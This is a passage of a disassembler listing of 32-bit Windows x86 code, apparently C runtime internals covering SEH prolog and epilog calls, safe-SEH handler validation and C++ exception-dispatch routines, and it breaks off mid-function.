var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_42A400
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_431060

loc_422CD0:				; CODE XREF: sub_422CBD+3Cj
		cmp	[ebp+var_1C], offset dword_431060
		jnb	short loc_422CFB
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_422CF1
		call	eax
		jmp	short loc_422CF1
; ---------------------------------------------------------------------------

loc_422CEA:				; DATA XREF: .text:stru_42A400o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_422CEE:				; DATA XREF: .text:stru_42A400o
		mov	esp, [ebp+ms_exc.old_esp]

loc_422CF1:				; CODE XREF: sub_422CBD+27j
					; sub_422CBD+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_422CD0
; ---------------------------------------------------------------------------

loc_422CFB:				; CODE XREF: sub_422CBD+1Aj
		call	__SEH_epilog
		retn
sub_422CBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D01	proc near		; DATA XREF: sub_41F531:loc_41F56Co

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_42A410
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_431068

loc_422D14:				; CODE XREF: sub_422D01+3Cj
		cmp	[ebp+var_1C], offset dword_431068
		jnb	short loc_422D3F
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_422D35
		call	eax
		jmp	short loc_422D35
; ---------------------------------------------------------------------------

loc_422D2E:				; DATA XREF: .text:stru_42A410o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_422D32:				; DATA XREF: .text:stru_42A410o
		mov	esp, [ebp+ms_exc.old_esp]

loc_422D35:				; CODE XREF: sub_422D01+27j
					; sub_422D01+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_422D14
; ---------------------------------------------------------------------------

loc_422D3F:				; CODE XREF: sub_422D01+1Aj
		call	__SEH_epilog
		retn
sub_422D01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D45	proc near		; CODE XREF: sub_41DF84+34p

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+8]
		test	bl, 3
		jnz	short loc_422D73
		mov	eax, large fs:18h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		cmp	ebx, ecx
		mov	[ebp+var_4], ecx
		jb	short loc_422D7A
		cmp	ebx, [eax+4]
		jnb	short loc_422D7A

loc_422D73:				; CODE XREF: sub_422D45+11j
		xor	eax, eax
		jmp	loc_422F6A
; ---------------------------------------------------------------------------

loc_422D7A:				; CODE XREF: sub_422D45+27j
					; sub_422D45+2Cj
		push	edi
		mov	edi, [esi+0Ch]
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_422D8B

loc_422D83:				; CODE XREF: sub_422D45+139j
					; sub_422D45+19Cj ...
		xor	eax, eax
		inc	eax
		jmp	loc_422F69
; ---------------------------------------------------------------------------

loc_422D8B:				; CODE XREF: sub_422D45+3Cj
		xor	edx, edx
		mov	[ebp+arg_0], edx
		mov	eax, ebx

loc_422D92:				; CODE XREF: sub_422D45+6Bj
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_422DA1
		cmp	ecx, edx
		jnb	loc_422EE6

loc_422DA1:				; CODE XREF: sub_422D45+52j
		cmp	dword ptr [eax+4], 0
		jz	short loc_422DAA
		inc	[ebp+arg_0]

loc_422DAA:				; CODE XREF: sub_422D45+60j
		inc	edx
		add	eax, 0Ch
		cmp	edx, edi
		jbe	short loc_422D92
		cmp	[ebp+arg_0], 0
		jz	short loc_422DCC
		mov	eax, [esi-8]
		cmp	eax, [ebp+var_4]
		jb	loc_422EE6
		cmp	eax, esi
		jnb	loc_422EE6

loc_422DCC:				; CODE XREF: sub_422D45+71j
		mov	eax, ds:dword_4357F0
		mov	edi, ebx
		and	edi, 0FFFFF000h
		xor	esi, esi
		test	eax, eax
		jle	short loc_422DF1

loc_422DDF:				; CODE XREF: sub_422D45+AAj
		cmp	ds:dword_4357F8[esi*4],	edi
		jz	loc_422EEA
		inc	esi
		cmp	esi, eax
		jl	short loc_422DDF

loc_422DF1:				; CODE XREF: sub_422D45+98j
		push	1Ch
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	ds:dword_429040	; VirtualQuery
		test	eax, eax
		jz	loc_422F66
		cmp	[ebp+var_8], 1000000h
		jnz	loc_422F66
		test	[ebp+var_C], 0CCh
		jz	short loc_422E6F
		mov	ecx, [ebp+var_1C]
		cmp	word ptr [ecx],	5A4Dh
		jnz	loc_422F66
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		cmp	dword ptr [eax], 4550h
		jnz	loc_422F66
		cmp	word ptr [eax+18h], 10Bh
		jnz	loc_422F66
		sub	ebx, ecx
		cmp	word ptr [eax+6], 0
		movzx	ecx, word ptr [eax+14h]
		lea	ecx, [ecx+eax+18h]
		jbe	loc_422F66
		mov	eax, [ecx+0Ch]
		cmp	ebx, eax
		jb	short loc_422E6F
		mov	edx, [ecx+8]
		add	edx, eax
		cmp	ebx, edx
		jnb	short loc_422E6F
		test	byte ptr [ecx+27h], 80h
		jnz	short loc_422EE6

loc_422E6F:				; CODE XREF: sub_422D45+D2j
					; sub_422D45+119j ...
		push	1
		push	offset dword_435838
		call	ds:dword_429090	; InterlockedExchange
		test	eax, eax
		jnz	loc_422D83
		mov	ecx, ds:dword_4357F0
		test	ecx, ecx
		mov	edx, ecx
		jle	short loc_422EA3
		lea	eax, ds:4357F4h[ecx*4]

loc_422E97:				; CODE XREF: sub_422D45+15Cj
		cmp	[eax], edi
		jz	short loc_422EA3
		dec	edx
		sub	eax, 4
		test	edx, edx
		jg	short loc_422E97

loc_422EA3:				; CODE XREF: sub_422D45+149j
					; sub_422D45+154j
		test	edx, edx
		jnz	short loc_422ED4
		push	0Fh
		pop	ebx
		cmp	ecx, ebx
		jg	short loc_422EB0
		mov	ebx, ecx

loc_422EB0:				; CODE XREF: sub_422D45+167j
		xor	edx, edx
		test	ebx, ebx
		jl	short loc_422EC8

loc_422EB6:				; CODE XREF: sub_422D45+181j
		lea	eax, ds:4357F8h[edx*4]
		mov	esi, [eax]
		inc	edx
		cmp	edx, ebx
		mov	[eax], edi
		mov	edi, esi
		jle	short loc_422EB6

loc_422EC8:				; CODE XREF: sub_422D45+16Fj
		cmp	ecx, 10h
		jge	short loc_422ED4
		inc	ecx
		mov	ds:dword_4357F0, ecx

loc_422ED4:				; CODE XREF: sub_422D45+160j
					; sub_422D45+186j
		push	0
		push	offset dword_435838
		call	ds:dword_429090	; InterlockedExchange
		jmp	loc_422D83
; ---------------------------------------------------------------------------

loc_422EE6:				; CODE XREF: sub_422D45+56j
					; sub_422D45+79j ...
		xor	eax, eax
		jmp	short loc_422F69
; ---------------------------------------------------------------------------

loc_422EEA:				; CODE XREF: sub_422D45+A1j
		test	esi, esi
		jle	loc_422D83
		mov	ebx, ds:dword_429090
		push	1
		push	offset dword_435838
		call	ebx	; InterlockedExchange
		test	eax, eax
		jnz	loc_422D83
		cmp	ds:dword_4357F8[esi*4],	edi
		jz	short loc_422F40
		mov	eax, ds:dword_4357F0
		lea	esi, [eax-1]
		test	esi, esi
		jl	short loc_422F2E

loc_422F1E:				; CODE XREF: sub_422D45+1E3j
		cmp	ds:dword_4357F8[esi*4],	edi
		jz	short loc_422F2A
		dec	esi
		jns	short loc_422F1E

loc_422F2A:				; CODE XREF: sub_422D45+1E0j
		test	esi, esi
		jge	short loc_422F3E

loc_422F2E:				; CODE XREF: sub_422D45+1D7j
		cmp	eax, 10h
		jge	short loc_422F39
		inc	eax
		mov	ds:dword_4357F0, eax

loc_422F39:				; CODE XREF: sub_422D45+1ECj
		lea	esi, [eax-1]
		jmp	short loc_422F40
; ---------------------------------------------------------------------------

loc_422F3E:				; CODE XREF: sub_422D45+1E7j
		jz	short loc_422F58

loc_422F40:				; CODE XREF: sub_422D45+1CBj
					; sub_422D45+1F7j
		xor	ecx, ecx
		test	esi, esi
		jl	short loc_422F58

loc_422F46:				; CODE XREF: sub_422D45+211j
		lea	eax, ds:4357F8h[ecx*4]
		mov	edx, [eax]
		inc	ecx
		cmp	ecx, esi
		mov	[eax], edi
		mov	edi, edx
		jle	short loc_422F46

loc_422F58:				; CODE XREF: sub_422D45:loc_422F3Ej
					; sub_422D45+1FFj
		push	0
		push	offset dword_435838
		call	ebx	; InterlockedExchange
		jmp	loc_422D83
; ---------------------------------------------------------------------------

loc_422F66:				; CODE XREF: sub_422D45+BBj
					; sub_422D45+C8j ...
		or	eax, 0FFFFFFFFh

loc_422F69:				; CODE XREF: sub_422D45+41j
					; sub_422D45+1A3j
		pop	edi

loc_422F6A:				; CODE XREF: sub_422D45+30j
		pop	esi
		pop	ebx
		leave
		retn
sub_422D45	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F6E	proc near		; CODE XREF: sub_423572+15Dp

arg_0		= dword	ptr  4

		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_422FB9
		lea	edx, [eax+8]
		cmp	byte ptr [edx],	0
		jz	short loc_422FB9
		mov	ecx, [edi+4]
		cmp	eax, ecx
		jz	short loc_422F94
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_422FB6

loc_422F94:				; CODE XREF: sub_422F6E+14j
		test	byte ptr [edi],	2
		jz	short loc_422F9E
		test	byte ptr [esi],	8
		jz	short loc_422FB6

loc_422F9E:				; CODE XREF: sub_422F6E+29j
		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_422FAD
		test	byte ptr [esi],	1
		jz	short loc_422FB6

loc_422FAD:				; CODE XREF: sub_422F6E+38j
		test	al, 2
		jz	short loc_422FB9
		test	byte ptr [esi],	2
		jnz	short loc_422FB9

loc_422FB6:				; CODE XREF: sub_422F6E+24j
					; sub_422F6E+2Ej ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_422FB9:				; CODE XREF: sub_422F6E+5j
					; sub_422F6E+Dj ...
		xor	eax, eax
		inc	eax
		retn
sub_422F6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_422FBD	proc near		; CODE XREF: sub_422FDB+76p
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_422FCA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_422FCA:				; CODE XREF: sub_422FBD+8j
		call	sub_4203B6
		and	dword ptr [eax+84h], 0
		jmp	sub_423818
sub_422FBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FDB	proc near		; CODE XREF: sub_42310D+129p
					; sub_42344D+31p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	10h
		push	offset stru_42A420
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		call	sub_4203B6
		add	eax, 84h
		inc	dword ptr [eax]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]

loc_423003:				; CODE XREF: sub_422FDB+8Fj
		cmp	esi, [ebp+arg_C]
		jz	short loc_42306C
		cmp	esi, 0FFFFFFFFh
		jle	short loc_423012
		cmp	esi, [edi+4]
		jl	short loc_423017

loc_423012:				; CODE XREF: sub_422FDB+30j
		call	sub_42384D

loc_423017:				; CODE XREF: sub_422FDB+35j
		mov	eax, esi
		shl	eax, 3
		mov	ecx, [edi+8]
		add	ecx, eax
		mov	esi, [ecx]
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], 1
		cmp	dword ptr [ecx+4], 0
		jz	short loc_423048
		mov	[ebx+8], esi
		push	103h
		push	ebx
		mov	ecx, [edi+8]
		push	dword ptr [ecx+eax+4]
		call	sub_423880

loc_423048:				; CODE XREF: sub_422FDB+56j
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_423067
; ---------------------------------------------------------------------------

loc_42304E:				; DATA XREF: .text:0042A430o
		mov	eax, [ebp+ms_exc.exc_ptr]
		call	sub_422FBD
		retn
; ---------------------------------------------------------------------------

loc_423057:				; DATA XREF: .text:0042A434o
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_20]

loc_423067:				; CODE XREF: sub_422FDB+71j
		mov	[ebp+var_1C], esi
		jmp	short loc_423003
; ---------------------------------------------------------------------------

loc_42306C:				; CODE XREF: sub_422FDB+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_42308E
		cmp	esi, [ebp+arg_C]
		jz	short loc_42307F
		call	sub_42384D

loc_42307F:				; CODE XREF: sub_422FDB+9Dj
		mov	[ebx+8], esi
		call	__SEH_epilog
		retn
sub_422FDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_423088	proc near		; DATA XREF: .text:stru_42A420o
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_423088	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42308E	proc near		; CODE XREF: sub_422FDB+95p
		call	sub_4203B6
		cmp	dword ptr [eax+84h], 0
		jle	short locret_4230A8
		call	sub_4203B6
		add	eax, 84h
		dec	dword ptr [eax]

locret_4230A8:				; CODE XREF: sub_42308E+Cj
		retn
sub_42308E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230A9	proc near		; CODE XREF: sub_423262+67p
					; sub_423572+1CAp

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset stru_42A438
		call	__SEH_prolog
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4230D7
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4230D7
		and	[ebp+ms_exc.disabled], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41E113
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh

loc_4230D7:				; CODE XREF: sub_4230A9+11j
					; sub_4230A9+1Bj
		call	__SEH_epilog
		retn
sub_4230A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4230DD	proc near		; DATA XREF: .text:stru_42A438o
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
sub_4230DD	endp

; ---------------------------------------------------------------------------

loc_4230E6:				; DATA XREF: .text:stru_42A438o
		mov	esp, [ebp-18h]
		jmp	sub_423818

; =============== S U B	R O U T	I N E =======================================



sub_4230EE	proc near		; CODE XREF: sub_4232D1+7Cp
					; sub_4232D1+FBp ...
		push	esi
		mov	esi, eax
		mov	eax, [ecx]
		add	eax, esi
		cmp	dword ptr [ecx+4], 0
		jl	short loc_42310B
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	esi, [edx+esi]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_42310B:				; CODE XREF: sub_4230EE+Bj
		pop	esi
		retn
sub_4230EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42310D	proc near		; CODE XREF: sub_42344D+52p

var_50		= byte ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 00423259 SIZE 00000003 BYTES

		push	40h
		push	offset stru_42A448
		call	__SEH_prolog
		mov	ebx, ecx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_20], ebx
		and	[ebp+var_48], 0
		mov	eax, [edi-4]
		mov	[ebp+var_38], eax
		push	dword ptr [esi+18h]
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_41E3D0
		pop	ecx
		pop	ecx
		mov	[ebp+var_3C], eax
		call	sub_4203B6
		mov	eax, [eax+7Ch]
		mov	[ebp+var_40], eax
		call	sub_4203B6
		mov	eax, [eax+80h]
		mov	[ebp+var_44], eax
		call	sub_4203B6
		mov	[eax+7Ch], esi
		call	sub_4203B6
		mov	ecx, [ebp+arg_8]
		mov	[eax+80h], ecx
		and	[ebp+ms_exc.disabled], 0
		mov	[ebp+ms_exc.disabled], 1
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_C]
		push	edi
		call	sub_41E465
		add	esp, 14h
		mov	[ebp+var_20], eax
		and	[ebp+ms_exc.disabled], 0
		jmp	loc_423247
; ---------------------------------------------------------------------------

loc_423198:				; DATA XREF: .text:0042A458o
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4231DC
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4231DC
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+14h], 19930520h
		jz	short loc_4231CC
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+14h], 19930521h
		jnz	short loc_4231DC

loc_4231CC:				; CODE XREF: sub_42310D+B1j
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+1Ch], 0
		mov	[ebp+var_24], 1
		jz	short loc_4231E3

loc_4231DC:				; CODE XREF: sub_42310D+9Cj
					; sub_42310D+A5j ...
		mov	[ebp+var_24], 0

loc_4231E3:				; CODE XREF: sub_42310D+CDj
		mov	eax, [ebp+var_24]
		retn
; ---------------------------------------------------------------------------

loc_4231E7:				; DATA XREF: .text:0042A45Co
		mov	esp, [ebp+ms_exc.old_esp]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+8]
		mov	[ebp+var_30], eax
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+8]
		mov	[ebp+var_28], eax
		mov	edx, [ecx+10h]
		mov	[ebp+var_2C], edx
		xor	edx, edx

loc_423204:				; CODE XREF: sub_42310D+14Dj
		mov	[ebp+var_34], edx
		cmp	edx, [ecx+0Ch]
		jnb	short loc_423230
		lea	esi, [edx+edx*4]
		mov	ebx, [ebp+var_2C]
		lea	esi, [ebx+esi*4]
		mov	ebx, [esi+4]
		cmp	eax, ebx
		jle	short loc_423259
		cmp	eax, [esi+8]
		jg	short loc_423259
		lea	eax, [ebx+1]
		mov	[ebp+var_28], eax
		mov	edx, [ebp+var_30]
		mov	eax, [edx+eax*8]
		mov	[ebp+var_28], eax

loc_423230:				; CODE XREF: sub_42310D+FDj
		push	eax
		push	ecx
		xor	esi, esi
		push	esi
		push	edi
		call	sub_422FDB
		add	esp, 10h
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], esi
		mov	esi, [ebp+arg_0]

loc_423247:				; CODE XREF: sub_42310D+86j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_423262
		mov	eax, [ebp+var_20]
		call	__SEH_epilog
		retn
sub_42310D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42310D

loc_423259:				; CODE XREF: sub_42310D+10Dj
					; sub_42310D+112j
		inc	edx
		jmp	short loc_423204
; END OF FUNCTION CHUNK	FOR sub_42310D

; =============== S U B	R O U T	I N E =======================================



sub_42325C	proc near		; DATA XREF: .text:stru_42A448o
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+8]
sub_42325C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_423262	proc near		; CODE XREF: sub_42310D+13Ep
		mov	eax, [ebp-38h]
		mov	[edi-4], eax
		push	dword ptr [ebp-3Ch]
		call	sub_41E419
		pop	ecx
		call	sub_4203B6
		mov	ecx, [ebp-40h]
		mov	[eax+7Ch], ecx
		call	sub_4203B6
		mov	ecx, [ebp-44h]
		mov	[eax+80h], ecx
		cmp	dword ptr [esi], 0E06D7363h
		jnz	short locret_4232D0
		cmp	dword ptr [esi+10h], 3
		jnz	short locret_4232D0
		mov	eax, [esi+14h]
		cmp	eax, 19930520h
		jz	short loc_4232A9
		cmp	eax, 19930521h
		jnz	short locret_4232D0

loc_4232A9:				; CODE XREF: sub_423262+3Ej
		cmp	dword ptr [ebp-48h], 0
		jnz	short locret_4232D0
		cmp	dword ptr [ebp-20h], 0
		jz	short locret_4232D0
		push	dword ptr [esi+18h]
		call	sub_41E3F8
		pop	ecx
		test	eax, eax
		jz	short locret_4232D0
		call	sub_41DF36
		push	eax
		push	esi
		call	sub_4230A9
		pop	ecx
		pop	ecx

locret_4232D0:				; CODE XREF: sub_423262+2Ej
					; sub_423262+34j ...
		retn
sub_423262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232D1	proc near		; CODE XREF: sub_42344D+Dp

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	8
		push	offset stru_42A460
		call	__SEH_prolog
		mov	esi, ecx
		mov	eax, [ebp+arg_4]
		mov	edi, edx
		mov	ebx, [ebp+arg_0]
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	loc_42343B
		cmp	byte ptr [ecx+8], 0
		jz	loc_42343B
		mov	ecx, [eax+8]
		test	ecx, ecx
		jnz	short loc_42330D
		test	byte ptr [eax+3], 80h
		jz	loc_42343B

loc_42330D:				; CODE XREF: sub_4232D1+30j
		mov	eax, [eax]
		test	eax, eax
		js	short loc_423317
		lea	edi, [ecx+edi+0Ch]

loc_423317:				; CODE XREF: sub_4232D1+40j
		and	[ebp+ms_exc.disabled], 0
		push	1
		push	dword ptr [ebx+18h]
		test	al, 8
		jz	short loc_423359
		call	sub_426861
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_423432
		push	1
		push	edi
		call	sub_42687D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_423432
		mov	eax, [ebx+18h]
		mov	[edi], eax

loc_42334A:				; CODE XREF: sub_4232D1+D1j
		lea	ecx, [esi+8]
		call	sub_4230EE
		mov	[edi], eax
		jmp	loc_423437
; ---------------------------------------------------------------------------

loc_423359:				; CODE XREF: sub_4232D1+51j
		test	byte ptr [esi],	1
		jz	short loc_4233A4
		call	sub_426861
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_423432
		push	1
		push	edi
		call	sub_42687D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_423432
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41BFA0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_423437
		mov	eax, [edi]
		test	eax, eax
		jz	loc_423437
		jmp	short loc_42334A
; ---------------------------------------------------------------------------

loc_4233A4:				; CODE XREF: sub_4232D1+8Bj
		cmp	dword ptr [esi+18h], 0
		jnz	short loc_4233DD
		call	sub_426861
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_423432
		push	1
		push	edi
		call	sub_42687D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_423432
		push	dword ptr [esi+14h]
		lea	ecx, [esi+8]
		mov	eax, [ebx+18h]
		call	sub_4230EE
		push	eax
		push	edi
		call	sub_41BFA0
		add	esp, 0Ch
		jmp	short loc_423437
; ---------------------------------------------------------------------------

loc_4233DD:				; CODE XREF: sub_4232D1+D7j
		call	sub_426861
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_423432
		push	1
		push	edi
		call	sub_42687D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_423432
		push	dword ptr [esi+18h]
		call	sub_426899
		pop	ecx
		test	eax, eax
		jz	short loc_423432
		mov	eax, [ebx+18h]
		lea	ecx, [esi+8]
		test	byte ptr [esi],	4
		jz	short loc_423421
		push	1
		call	sub_4230EE
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41E113
		jmp	short loc_423437
; ---------------------------------------------------------------------------

loc_423421:				; CODE XREF: sub_4232D1+13Bj
		call	sub_4230EE
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41E113
		jmp	short loc_423437
; ---------------------------------------------------------------------------

loc_423432:				; CODE XREF: sub_4232D1+5Cj
					; sub_4232D1+6Ej ...
		call	sub_42384D

loc_423437:				; CODE XREF: sub_4232D1+83j
					; sub_4232D1+C1j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh

loc_42343B:				; CODE XREF: sub_4232D1+1Bj
					; sub_4232D1+25j ...
		call	__SEH_epilog
		retn
sub_4232D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423441	proc near		; DATA XREF: .text:stru_42A460o
		xor	eax, eax
		inc	eax
		retn
sub_423441	endp

; ---------------------------------------------------------------------------

loc_423445:				; DATA XREF: .text:stru_42A460o
		mov	esp, [ebp-18h]
		jmp	sub_423818

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42344D	proc near		; CODE XREF: sub_4234B4+A0p
					; sub_423572+19Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		test	ecx, ecx
		jz	short loc_423461
		push	ebx
		push	[ebp+arg_0]
		mov	edx, esi
		call	sub_4232D1
		pop	ecx
		pop	ecx

loc_423461:				; CODE XREF: sub_42344D+5j
		cmp	[ebp+arg_14], 0
		push	[ebp+arg_0]
		jnz	short loc_42346D
		push	esi
		jmp	short loc_423470
; ---------------------------------------------------------------------------

loc_42346D:				; CODE XREF: sub_42344D+1Bj
		push	[ebp+arg_14]

loc_423470:				; CODE XREF: sub_42344D+1Ej
		call	sub_41E11A
		push	dword ptr [edi]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		call	sub_422FDB
		mov	eax, [edi+4]
		push	100h
		push	[ebp+arg_10]
		inc	eax
		push	[ebp+arg_C]
		mov	[esi+8], eax
		push	[ebp+arg_4]
		mov	ecx, [ebx+0Ch]
		push	esi
		push	[ebp+arg_0]
		call	sub_42310D
		add	esp, 28h
		test	eax, eax
		jz	short loc_4234B2
		push	esi
		push	eax
		call	sub_41E0E3

loc_4234B2:				; CODE XREF: sub_42344D+5Cj
		pop	ebp
		retn
sub_42344D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B4	proc near		; CODE XREF: sub_423572+1F5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi], 80000003h
		jz	loc_42356F
		call	sub_4203B6
		cmp	dword ptr [eax+74h], 0
		jz	short loc_4234F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41E1DD
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42356F

loc_4234F3:				; CODE XREF: sub_4234B4+1Ej
		mov	esi, [ebp+arg_14]
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41E356
		mov	edi, eax
		mov	eax, [ebp+var_4]
		add	esp, 14h
		cmp	eax, [ebp+var_8]
		jnb	short loc_42356E
		push	ebx

loc_423519:				; CODE XREF: sub_4234B4+B7j
		cmp	esi, [edi]
		jl	short loc_42355F
		cmp	esi, [edi+4]
		jg	short loc_42355F
		mov	eax, [edi+0Ch]
		mov	ecx, [edi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42353A
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_42355F

loc_42353A:				; CODE XREF: sub_4234B4+7Ej
		push	[ebp+arg_1C]
		mov	esi, [ebp+arg_4]
		push	[ebp+arg_18]
		lea	ebx, [eax-10h]
		push	[ebp+arg_10]
		xor	ecx, ecx
		push	[ebp+arg_C]
